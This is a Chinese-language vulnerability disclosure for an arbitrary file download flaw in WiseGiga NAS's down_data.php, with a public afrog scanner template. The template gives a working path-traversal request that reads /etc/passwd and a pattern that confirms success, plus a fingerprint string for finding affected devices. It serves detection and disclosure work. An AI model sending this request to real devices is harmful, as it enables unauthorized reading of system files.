wisegiga-nas-down-data-php-file-read: WiseGiga NAS down_data.php 任意文件下载漏洞

日期: 2025-09-01 | 影响软件: WiseGiga NAS | POC: 已公开

漏洞描述

WISEGIGA NAS down_data.php 存在任意文件下载漏洞，由于 /down_data.php 页面 filename 参数过滤不严，导致可以读取系统敏感文件 app="WISEGIGA-NAS"

PoC代码[已公开]

id: wisegiga-nas-down-data-php-file-read

info:
  name: WiseGiga NAS down_data.php 任意文件下载漏洞
  author: zan8in
  severity: critical
  description: |
    WISEGIGA NAS down_data.php 存在任意文件下载漏洞，由于 /down_data.php 页面 filename 参数过滤不严，导致可以读取系统敏感文件
    app="WISEGIGA-NAS"
  reference:
    - http://wiki.peiqi.tech/wiki/webapp/WiseGiga/WiseGiga%20NAS%20down_data.php%20%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E4%B8%8B%E8%BD%BD%E6%BC%8F%E6%B4%9E.html


rules:
  r0:
    request:
      method: GET
      path: /down_data.php?filename=../../../../../../../../../../../../../../etc/passwd
    expression: response.status == 200 && "root:.*?:[0-9]*:[0-9]*:".bmatches(response.body)
expression: r0()
来源: https://github.com/zan8in/afrog/blob/main/pocs/afrog-pocs/vulnerability/wisegiga-nas-down-data-php-file-read.yaml

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